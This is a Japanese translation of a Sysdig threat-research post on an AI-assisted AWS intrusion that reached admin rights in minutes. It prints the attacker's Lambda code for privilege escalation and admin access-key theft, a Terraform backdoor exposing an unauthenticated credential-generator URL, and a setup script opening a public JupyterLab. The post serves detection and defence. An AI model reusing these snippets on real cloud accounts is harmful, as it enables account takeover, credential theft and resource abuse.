Falco Feedsは、オープンソースに焦点を当てた企業に、新しい脅威が発見されると継続的に更新される専門家が作成したルールにアクセスできるようにすることで、Falcoの力を拡大します。
本文の内容は、2026年2月3日にAlessandro Brucato, Michael Clark が投稿したブログ(https://www.sysdig.com/blog/ai-assisted-cloud-intrusion-achieves-admin-access-in-8-minutes)を元に日本語に翻訳・再構成した内容となっております。
2025年11月28日、Sysdig 脅威リサーチチーム（TRT）は、AWS 環境を標的とした攻撃的なクラウドオペレーションを観測しました。この攻撃では、脅威アクターが初期侵入から管理者権限の取得までを 10分未満 で達成しています。この攻撃が際立っていたのは、その速度だけでなく、偵察の自動化、悪意あるコードの生成、そしてリアルタイムでの意思決定を行うために、オペレーション全体を通じて 大規模言語モデル（LLM） が活用されていたことを示唆する複数の兆候が確認された点です。
脅威アクターは、公開されていた Simple Storage Service（S3）バケット内で発見された認証情報を通じて、被害者の AWS アカウントへの初期アクセスを獲得しました。その後、Lambda function へのコードインジェクションによって迅速に権限昇格を行い、19 の異なる AWS プリンシパルにまたがってラテラルムーブメントを実施し、LLMjacking のために Amazon Bedrock を悪用し、さらにモデル学習のための GPU インスタンスを起動しました。
Sysdig TRT は、この攻撃の全体的な攻撃チェーンを分析し、検知の機会を特定するとともに、緩和策に関する推奨事項を取りまとめました。その調査結果を以下に詳述します。
公開された S3 バケットからの認証情報の窃取
脅威アクターは、公開された S3 バケットから盗み出した有効なテスト用認証情報を使用して、被害者の環境に侵入しました。これらのバケットには AI モデル向けの Retrieval-Augmented Generation（RAG）データが含まれており、侵害された認証情報は、AWS Lambda に対して複数の読み取りおよび書き込み権限を持ち、AWS Bedrock に対しては制限付きの権限を持つ Identity and Access Management（IAM）ユーザーのものでした。このユーザーは、環境全体で Lambda function を用いて Bedrock のタスクを自動化する目的で、被害組織によって意図的に作成された可能性が高いと考えられます。
また、影響を受けた S3 バケットは一般的な AI ツールの命名規則に基づいて命名されており、攻撃者は偵察の過程でこれらを積極的に探索していた点も重要です。
Sysdig TRT 緩和のヒント
公開されたバケットにアクセスキーを残すことは重大な過ちです。組織は、一時的な認証情報を使用する IAM ロールを優先すべきです。どうしても長期的な認証情報を持つ IAM ユーザーを利用したい場合は、それらを適切に保護し、定期的なローテーションを実施する必要があります。
AWS サービス全体の偵察
侵害された IAM ユーザーが所属するユーザーグループに ReadOnlyAccess ポリシーが付与されていたため、攻撃者は攻撃の過程を通じて広範な偵察活動を行いました。
その結果、以下を含む複数の AWS サービスにまたがってリソースの列挙を実施しました。
- Secrets Manager
- Systems Manager (SSM)
- S3
- Lambda
- Elastic Compute Cloud (EC2)
- Elastic Container Service (ECS)
- Organizations
- Relational Database Service (RDS)
- CloudWatch
- Key Management Service (KMS)
S3バケットはAIモデルに関連していたため、脅威アクターはAIサービスも調査しました。Bedrockの列挙には以下が含まれます。
ListAgentsListKnowledgeBasesGetKnowledgeBaseListFoundationModelsListCustomModelsGetModelInvocationLoggingConfigurationListInferenceProfilesListProvisionedModelThroughputsListModelInvocationJobs
また、Bedrock のナレッジベースを管理するために使用される OpenSearch Serverless に対しては ListCollections や ListAccessPolicies を、SageMaker に対しては ListModels、ListEndpoints、ListTrainingJobs を用いてクエリを実行していました。
Sysdig TRT 緩和のヒント
IAM ユーザーまたはカスタムロールによって実行される、リージョン全体にわたるリソースの大量な列挙は、通常、防御側が監視すべき疑わしいパターンです。
Lambda コードインジェクションによる権限昇格
IAM ロールを列挙した後、脅威アクターは、通常は管理者権限に関連付けられる名称（例：sysadmin、netadmin）を持つロールの引き受けを試みましたが、いずれも成功しませんでした。侵害されたユーザーが Lambda に対する UpdateFunctionCode および UpdateFunctionConfiguration 権限を持っていたため、脅威アクターは Lambda function へのコード注入による権限昇格へと方針を転換しました。彼らは EC2-init という既存の Lambda function のコードを 3 回にわたって置き換え、標的とするユーザーを変更しながら試行を重ねました。最初の試みは adminGH を標的としていましたが、名称とは異なり、このユーザーには管理者権限がありませんでした。その後の試行により、最終的に admin ユーザーである frick の侵害に成功しました。
以下のコードは、脅威アクターによってアップロードされた最終版を示しています：
import boto3
import json
def lambda_handler(event, context):
results = {}
# Identity
sts = boto3.client('sts')
results['identity'] = sts.get_caller_identity()['Arn']
# IAM - lista svih usera i njihovih access keyeva
iam = boto3.client('iam')
try:
users = iam.list_users()
results['users'] = {}
for user in users['Users']:
try:
keys = iam.list_access_keys(UserName=user['UserName'])
policies = iam.list_attached_user_policies(UserName=user['UserName'])
groups = iam.list_groups_for_user(UserName=user['UserName'])
results['users'][user['UserName']] = {
'keys': len(keys['AccessKeyMetadata']),
'policies': [p['PolicyName'] for p in policies['AttachedPolicies']],
'groups': [g['GroupName'] for g in groups['Groups']]
}
except Exception as e:
results['users'][user['UserName']] = str(e)
except Exception as e:
results['users_error'] = str(e)
# Kreiraj admin access key
try:
# Probaj kreirati pristup za drugog korisnika
key = iam.create_access_key(UserName='frick')
results['frick_new_key'] = {
'AccessKeyId': key['AccessKey']['AccessKeyId'],
'SecretAccessKey': key['AccessKey']['SecretAccessKey']
}
except Exception as e:
results['frick_key_error'] = str(e)
# Lista svih S3 bucketa i prvih fajlova
s3 = boto3.client('s3')
try:
buckets = s3.list_buckets()
results['buckets'] = {}
for bucket in buckets['Buckets'][:5]:
try:
objects = s3.list_objects_v2(Bucket=bucket['Name'], MaxKeys=3)
results['buckets'][bucket['Name']] = [o['Key'] for o in objects.get('Contents', [])]
except:
results['buckets'][bucket['Name']] = 'access denied'
except Exception as e:
results['s3_error'] = str(e)
return {'statusCode': 200, 'body': json.dumps(results, default=str)}コード内のコメントはセルビア語で書かれていて、おそらく脅威アクターの出所を示唆しています。 このコードは主に 3 つの操作を実行します。
- すべての IAM ユーザーとそのアクセスキー、添付された管理ポリシー、およびグループを一覧表示します。
- 管理者ユーザー frick のアクセスキーを作成。
- S3 バケットとその内容を一覧表示する (最初の 5 つのバケットでは、バケットあたり 3 アイテムに制限されています)。
これらの操作は Lambda のデフォルトである 3 秒の実行タイムアウトを超える可能性があるため、脅威アクターは UpdateFunctionConfiguration20150331v2 を呼び出すことで、デフォルトのタイムアウトを 30 秒に延長しました。
コメントの使用、包括的な例外処理、そしてこのスクリプトが書かれた速度から、LLM によって生成された可能性が高いことが強く示唆されます。脅威アクターは、認証情報の窃取から Lambda の実行成功に至るまでの一連の流れを、管理者ユーザーやロールを特定するための偵察を含め、わずか 8 分で完了させました。
標的となった Lambda function には管理者権限を持つ実行ロールが関連付けられており、これにより脅威アクターは管理者ユーザー frick のアクセスキーを作成することができました。この権限昇格の経路は既知であり、文書化されています。ロールが関連付けられた既存の Lambda function を改変することで、脅威アクターはそのロールの権限にアクセスできるようになりました。悪意のある Lambda function は、新たに作成された管理者キーを function のレスポンス出力として返すため、脅威アクターは外部の Webhook やリバースシェルを必要とせず、呼び出し結果から直接それらを取得することができました。
19 のプリンシパルをまたいだラテラルムーブメント
侵害された AWS アカウントは、組織内の子アカウントでした。脅威アクターは、クロスアカウントロールを含む複数のロールを引き受けようと、何度も試みました。エンドユーザーが組織内に AWS メンバーアカウントを作成すると、そのメンバーアカウント内に OrganizationAccountAccessRole というデフォルトのロールが生成されます。これにより、管理アカウント内の認可された IAM ユーザーは、そのロールを引き受けて当該アカウントで管理者権限を取得できます。このロールはメンバーアカウントにのみ存在し、管理アカウント自体には存在しません。脅威アクターは管理アカウント内でこのロールを引き受けようとしましたが、ロールが存在しないため失敗しました。
脅威アクターは、被害者組織内のアカウント ID を列挙し、対象がメンバーアカウントかどうかに関係なく、すべての環境で OrganizationAccountAccessRole を引き受けようとしたようです。興味深いことに、組織に属していないアカウント ID も含まれていました。具体的には、昇順および降順の数字からなる 2 つの ID（123456789012 および 210987654321）と、実在する外部アカウントに属している可能性のある 1 つの ID（653711XXXXXX）です。この挙動は、AI のハルシネーションに起因するとされるパターンと一致しており、LLM 支援による活動であった可能性をさらに示す証拠となっています。
ロールを引き受ける際、脅威アクターは攻撃の各段階における意図を反映していると思われるセッション名を指定していました。
脅威アクターは、14 の異なるセッションにわたって 6 種類の IAM ロールを引き受けました。さらに 5 つの IAM ユーザーへのアクセスを獲得し、結果として攻撃には合計 19 の一意な AWS プリンシパルが関与しました。この分散により、複数のアイデンティティにまたがって操作を行えるようになり、追跡がより困難になりました。この手法は永続化にも寄与します。というのも、脅威アクターは 1 つのプリンシパルにアクセスできさえすれば、被害者環境へのアクセスを維持できるためです。
侵害された 5 つの IAM ユーザーのうち 4 つは、もともと被害者アカウント内に存在していました。脅威アクターは、新たなアクセスキーを作成することでそれらを乗っ取りました。これらのユーザーのうち 1 つには BedrockFullAccess ポリシーがアタッチされており、別の 1 つは Azure アカウントとの連携に使用されていたことを示唆する名称（AzureADRoleManager）を持っていました。その後、脅威アクターは backdoor-admin という新しいユーザーを作成し、AdministratorAccess ポリシーをアタッチしました。
Sysdig TRT 緩和のヒント
アカウントをまたいで引き受け可能な IAM ロールは、適切にスコープを制限し、監視する必要があります。これらが侵害されると、複数のアカウント間でラテラルムーブメントが可能となり、攻撃者にとって新たで非常に大きな機会を生み出してしまうためです。
データの収集および持ち出し
脅威アクターは、新しく作成した管理者ユーザーを使用して、複数のサービスにわたってデータを収集しました。
- Secrets Manager に保存されているシークレット
- EC2 Systems Manager（SSM）のパラメータ
- CloudWatch ログ
- Lambda function のソースコード
- S3 バケット内の内部データ
- CloudTrail イベント
リソースデータを窃取するだけでなく、脅威アクターは IAM Access Analyzer の検出結果も列挙していました。Access Analyzer は 3 種類の検出結果を提供します。外部アクセスの検出結果は、信頼ゾーンの外部からアクセス可能なリソースを示し、内部アクセスの検出結果は、IAM ユーザー／ロールと指定されたリソース間に存在し得るアクセス経路を明らかにします。また、未使用アクセスの検出結果は、使用されていないロール、権限、認証情報に関する情報を返します。攻撃者にとって、これは環境を理解し、追加の攻撃経路を特定するための非常に価値の高い情報源となります。
Amazon Bedrock を悪用した LLMjacking
LLMjacking は、2024 年 5 月に Sysdig 脅威リサーチチーム（TRT）によって初めて特定された攻撃手法で、脅威アクターが被害者のクラウドアカウント内のプリンシパルを侵害し、クラウド上でホストされている LLM へのアクセスを獲得するものです。
被害者の AWS アカウントには、活発な AI 利用を示すデータや痕跡が含まれていたため、脅威アクターは迅速に Amazon Bedrock へと注目を移しました。カスタムモデルおよび基盤モデルの両方を列挙した後、GetModelInvocationLoggingConfiguration を呼び出して、アカウントでモデル呼び出しログが有効になっているかどうかを確認しました。この確認は、過去の LLMjacking 攻撃でも観測されています。
ログが無効であることを確認した後、脅威アクターは複数の AI モデルを呼び出しました。
- Claude Sonnet 4
- Claude Opus 4
- Claude 3.5 Sonnet
- Claude 3 Haiku
- DeepSeek R1
- Llama 4 Scout
- Amazon Nova Premier
- Amazon Titan Image Generator
- Cohere Embed v3
特定の Claude モデルを呼び出すために、脅威アクターは GetListingView、SearchAgreements、AcceptAgreementRequest などの Marketplace API を呼び出す必要がありました。場合によっては、スループットとパフォーマンスを向上させるため、モデル呼び出しリクエストを複数のリージョンに分散するクロスリージョン推論も利用していました。具体的には、ListInferenceProfiles を呼び出した後、推論プロファイル ID を指定して InvokeModel を実行していました。その呼び出しに関する CloudTrail ログには、additionalEventData.inferenceRegion フィールドに宛先リージョンの値が含まれています。
また、脅威アクターはエージェントやナレッジベースの探索も行っていましたが、被害者のアカウントではこれらの機能は使用されていませんでした。
Sysdig TRT 緩和のヒント
アカウント内の誰も利用していない Bedrock モデルが呼び出されている場合、それは危険信号です。組織は、呼び出し元の権限に関係なく、メンバーアカウント内で呼び出しを許可するモデルを特定のものに限定するための Service Control Policy（SCP）を作成できます。AWS は、そのようなポリシーの例を提供しています。
攻撃の後半段階では、脅威アクターは被害者の S3 バケットを自身のスクリプトの保管場所として使い始めました。特に注目すべきファイルの 1 つが、terraform-bedrock-deploy.tf という名前の Terraform モジュールで、これは Bedrock の認証情報を生成するためのバックドア Lambda function をデプロイすることを目的としています。このモジュールは、AWSLambdaBasicExecutionRole、IAMFullAccess、AmazonBedrockFullAccess の各ポリシーがアタッチされた Lambda 実行ロールを作成します。また、そのロールを使用する Lambda function を作成し、ローカルファイルである lambda_function.zip からインポートされた Python コードを設定し、環境変数として GENERATE_CREDENTIALS = “true” および TARGET_USER = “claude-bedrock-access” を設定します。さらに、認証を必要としない公開アクセス可能な Lambda function URL を構成します。以下にその内容を示します。
# Public Lambda URL (no auth required)
resource "aws_lambda_function_url" "credential_generator_url" {
function_name = aws_lambda_function.credential_generator.function_name
authorization_type = "NONE"
cors {
allow_credentials = true
allow_origins = ["*"]
allow_methods = ["GET", "POST"]
max_age = 86400
}
}モジュールは、使用方法の説明を含む URL を出力します。
# Output the function URL
output "lambda_url" {
value = aws_lambda_function_url.credential_generator_url.function_url
description = "Public Lambda URL for credential generation"
}
output "instructions" {
value = <<-EOT
🔥 CREDENTIAL GENERATOR DEPLOYED!
To generate Bedrock credentials, simply visit:
${aws_lambda_function_url.credential_generator_url.function_url}
This will return JSON with:
{
"AccessKeyId": "AKIA...",
"SecretAccessKey": "...",
"Identity": {...}
}
Use these credentials with boto3:
import boto3
bedrock = boto3.client(
'bedrock-runtime',
aws_access_key_id='AKIA...',
aws_secret_access_key='...',
region_name='us-east-1'
)
EOT
}lambda_function.zip に含まれるコード自体はバケットにアップロードされていませんでしたが、その設定内容から、このコードが TARGET_USER 環境変数で指定された IAM ユーザー向けに Bedrock の認証情報を生成するものであることが示されています。claude-bedrock-access というユーザーは被害者のアカウント内では一度も作成されておらず、このことから、アクセスが失効される前にこのバックドアが展開されることはなかったと考えられます。
リソース悪用を目的とした GPU インスタンスのプロビジョニング
Bedrock を標的とした後、脅威アクターは EC2 に焦点を移し、既存のインスタンスを列挙するとともに、ディープラーニング用途に適した利用可能なマシンイメージを検索しました。具体的には、Name フィルターに Deep LearningUbuntu* を指定して DescribeImages を呼び出し、1,300 以上の Amazon Machine Image（AMI）を取得しました。その後、stevan-gpu-key という名前のキーペアを作成し、すべての TCP ポートに対して任意の IP アドレスからのトラフィックを許可するインバウンドルールを持つセキュリティグループを作成しました。
インフラの準備が整うと、脅威アクターは stevan-gpu-monster という名前の p5.48xlarge インスタンスの起動を 5 回試みました。P5 インスタンスは、ディープラーニングや高性能計算（HPC）用途向けに設計された高性能 GPU ベースのインスタンスです。これらの試行はすべて「Insufficient capacity（容量不足）」エラーで失敗したため、より軽量なインスタンスタイプを試すことになりました。その結果、共有 2TB の Elastic Block Store（EBS）ボリュームを備えた p4d.24xlarge インスタンス（1 時間あたり 32.77 ドル、稼働させ続けた場合は月額およそ 23,600 ドル）を起動することに成功しました。CloudTrail には SharedSnapshotVolumeCreated のログが記録されていました。
Sysdig TRT 緩和のヒント
AWS 組織内で承認されていない EC2 インスタンスタイプの起動を防ぐために、AWS が提供している SCP を使用することができます。
被害者の S3 バケットにアップロードされていたスクリプトの 1 つには、以下のユーザーデータを用いてインスタンスを起動する Lambda functionのコードが含まれていました。
# Setup script for p4d.24xlarge GPU training instance
# Install CUDA and cuDNN
wget https://developer.download.nvidia.com/compute/cuda/12.4.0/local_installers/cuda_12.4.0_550.54.14_linux.run
chmod +x cuda_12.4.0_550.54.14_linux.run
./cuda_12.4.0_550.54.14_linux.run --silent
# Install PyTorch with A100 support
pip3 install torch torchvision torchaudio --index-url https://download.pytorch.org/whl/cu124
# Install training libraries
pip3 install transformers datasets accelerate deepspeed
# Clone training repo (if exists)
git clone https://github.com/anthropic/training-scripts.git /opt/training || true
# Start Jupyter for remote access
pip3 install jupyterlab
nohup jupyter lab --ip=0.0.0.0 --port=8888 --no-browser --allow-root &
# Download model checkpoint from S3 (if exists)
aws s3 cp s3://[REDACTED]/model-checkpoint.tar.gz /opt/checkpoint.tar.gz || true
# Start training job automatically
cd /opt/training
python3 train.py \
--model transformer-12b \
--gpus 8 \
--batch-size 64 \
--epochs 100 \
--checkpoint-dir /opt/checkpoints \
--data-dir /opt/data \
--distributed-backend nccl \
--fp16 \
--gradient-checkpointingこのスクリプトは機械学習（ML）のトレーニングを目的として設計されているように見えますが、コード内で参照されている GitHub リポジトリ（https://github.com/anthropic/training-scripts.git）は実在せず、ハルシネーションであることから、このコードが LLM によって生成されたことを示唆しています。
脅威アクターの実際の目的は依然として不明であり、モデルの学習であった可能性と、計算資源へのアクセスを転売する目的であった可能性の両方が考えられます。注目すべき点として、このスクリプトはポート 8888 上で公開アクセス可能な JupyterLab サーバーを起動しており、これにより AWS の認証情報とは無関係に、インスタンスへのバックドアアクセスが可能になります。脅威アクターは 5 分後にインスタンスを終了させていますが、その理由は不明です。
その後、Lambda function はインスタンスの詳細情報を取得し、データを被害者の S3 バケットへアップロードします。
result = {
'statusCode': 200,
'body': json.dumps({
'success': True,
'instance_id': instance_id,
'instance_type': 'p4d.24xlarge',
'gpus': '8x NVIDIA A100 (40GB)',
'public_ip': public_ip,
'private_ip': private_ip,
'jupyter_url': f'http://{public_ip}:8888',
'ssh_command': f'ssh -i claude-training-key.pem ubuntu@{public_ip}',
'specs': {
'gpus': 8,
'gpu_memory': '320GB total',
'vcpus': 96,
'ram': '1152GB',
'network': '400 Gbps'
},
'estimated_cost': '$32.77/hour'
})
}
# Upload instance info to S3 for retrieval
s3 = boto3.client('s3')
s3.put_object(
Bucket='anthropic-staging',
Key=f'gpu-instances/{instance_id}.json',
Body=json.dumps(result['body'], indent=2)
)アップロードされたデータには、リモートアクセス用の jupyter_url 要素が含まれており、これにより、AWS の認証情報が失効された場合でも、脅威アクターは JupyterLab を介してインスタンスに再接続することが可能になります。
防御回避テクニック
脅威アクターは、検知を回避し、調査を困難にするために複数の手法を用いていました。リクエストごとに送信元 IP アドレスを変更する IP ローテーター ツールを使用し、同一 IP アドレスからの操作を関連付けることに依存したセキュリティ対策を回避していました。
前述のとおり、脅威アクターは 19 の異なるプリンシパルに操作を分散させており、これによりアクセスを維持できる可能性を高めていました。場合によっては、あるロールを引き受けた後に、さらに別のロールを引き受けるという動きを見せており、これは「ロールチェイニング」と呼ばれる手法です。
Sysdig セキュアによる検知
Sysdig Secureは、この攻撃に関係する重要な操作について、いくつかの検知ルールを提供しています。
- Lambda function コードの更新
- ユーザーのアクセスキーを作成
- 管理者ポリシーを添付
- Bedrock モデルへの偵察活動
- 全世界からのインバウンド通信を許可するセキュリティグループルールの作成
これらのルールはすべて、Sysdig の「AWS Notable Events」ポリシーに含まれています。
Sysdig はまた、不審なパターンを伴う一連のイベントを検知するステートフルルールも提供しています。以下のルールが本攻撃に関連します。
- 権限昇格を目的としたロールを利用したラテラルムーブメント
- Bedrock モデル呼び出し回数の異常な増加
- アクセスキーの列挙を検知
- IAM の列挙を検知
- Lambda の列挙を検知
- 組織情報の列挙を検知
最初の 2 つのルールは Sysdig AWS Behavioral Analytics Threat Detection ポリシーの一部であり、列挙に関するルールは Sysdig AWS Behavioral Analytics Notable Events ポリシーに含まれています。
緩和策の推奨事項
同様の攻撃に対抗するため、組織は以下の対策を実装すべきです。
- Lambda function で使用される実行ロールを含め、すべての IAM ユーザーおよびロールに最小権限の原則を適用してください。本攻撃では、過剰に権限が付与された実行ロールが、脅威アクターによる権限昇格を可能にしていました。
- UpdateFunctionConfiguration および PassRole 権限は慎重に制限してください。脅威アクターは、より高い権限を持つ実行ロールに Lambda function を差し替えようとする可能性があり、そのためには両方の権限が必要となります。
- UpdateFunctionCode 権限は特定のfunction に限定し、実際にコードのデプロイを必要とするプリンシパルにのみ付与してください。
- Lambda function のバージョニングを有効化し、任意の時点で実行されていたコードの不変な記録を保持してください。function エイリアスを使用して特定のバージョンを指すようにすることで、本番環境に影響を与えるには、脅威アクターがコードの改変とエイリアスの更新の両方を行う必要が生じます。
- RAG データや AI モデルのアーティファクトを含む機密データを格納する S3 バケットが、公開アクセス可能になっていないことを確認してください。
- Amazon Bedrock のモデル呼び出しログを有効化し、不正利用を検知できるようにしてください。
- IAM Access Analyzer の列挙を監視してください。これは、脅威アクターに環境に関する価値の高い偵察情報を提供してしまうためです。
まとめ
この攻撃は、そのスピード、効果、そして AI 支援による実行を強く示唆する指標の多さにおいて際立っています。脅威アクターは 10 分未満で管理者権限を取得し、19 の異なる AWS プリンシパルを侵害し、Bedrock モデルと GPU 計算リソースの両方を悪用しました。セルビア語のコメントを含む LLM 生成コード、ハルシネーションによる AWS アカウント ID、実在しない GitHub リポジトリへの参照はいずれも、AI 支援による攻撃活動を示しています。
LLM がますます高度化するにつれ、この種の攻撃は今後さらに一般的になる可能性があります。本攻撃で観測されたハルシネーションは、攻撃エージェントの精度や標的環境に対する認識が向上するにつれて、より少なくなっていくでしょう。組織は、この加速する脅威環境に迅速に対抗するため、ランタイムでの検知と最小権限の徹底を最優先事項とする必要があります。
セキュリティ侵害の指標
攻撃タイムライン
以下のタイムラインは、CloudTrail の分析に基づき、認証情報の窃取から始まる 2 時間にわたる完全な攻撃シーケンスを再構成したものです。
0:00:00
脅威アクターは、公開された S3 バケットから IAM ユーザー compromised_user の認証情報を抽出しました。
0:06:00
初期の列挙の後、管理者ロール（admin、Administrator）の引き受けには失敗しましたが、既存のロールである sysadmin、netadmin、account の引き受けには成功しました。
0:08:00
Lambda function EC2-init のコードを置き換え、タイムアウトを 3 秒から 30 秒に延長しました。このfunction は 3 回改変され、最初は管理者権限を持たない adminGH を標的とし、その後、管理者ユーザー frick の侵害に成功しました。
0:11:00
管理者ユーザー frick を使用して、新しいユーザー backdoor-admin を作成し、AdministratorAccess ポリシーをアタッチしました。
0:58:00–1:51:00
Bedrock モデルを 13 回呼び出しました。対象には Claude Sonnet 4、Claude Opus 4、Claude 3.5 Sonnet、Claude 3 Haiku、DeepSeek R1、Llama 4 Scout、Amazon Nova Premier、Amazon Titan Image Generator、Cohere Embed v3 が含まれます。一部の Claude モデルの呼び出しには AcceptAgreementRequest の実行が必要でした。全体を通してクロスリージョン推論が利用されました。
1:00:00
BedrockFullAccess ポリシーを持つユーザー rocker および AzureADRoleManager のアクセスキーを作成しました。
1:05:00–1:35:00
Secrets Manager、SSM、S3、ECS、Organizations、RDS、CloudWatch、Bedrock、OpenSearch Serverless、SageMaker、KMS にわたる広範な偵察を実施しました。
1:21:00
sysadmin、developer、external の各ロールの引き受けに成功しましたが、EKS-access の引き受けには失敗しました。
1:42:00
backdoor-admin を使用して p5.48xlarge インスタンスの起動を試みましたが、容量制約により失敗し、その後 p4d.24xlarge インスタンスの起動に成功しました。インスタンスは 5 分後に終了されました。また、そのスナップショットが共有されました（SharedSnapshotVolumeCreated）。
1:51:00
脅威アクターのアクセスが遮断され、攻撃は終了しました。
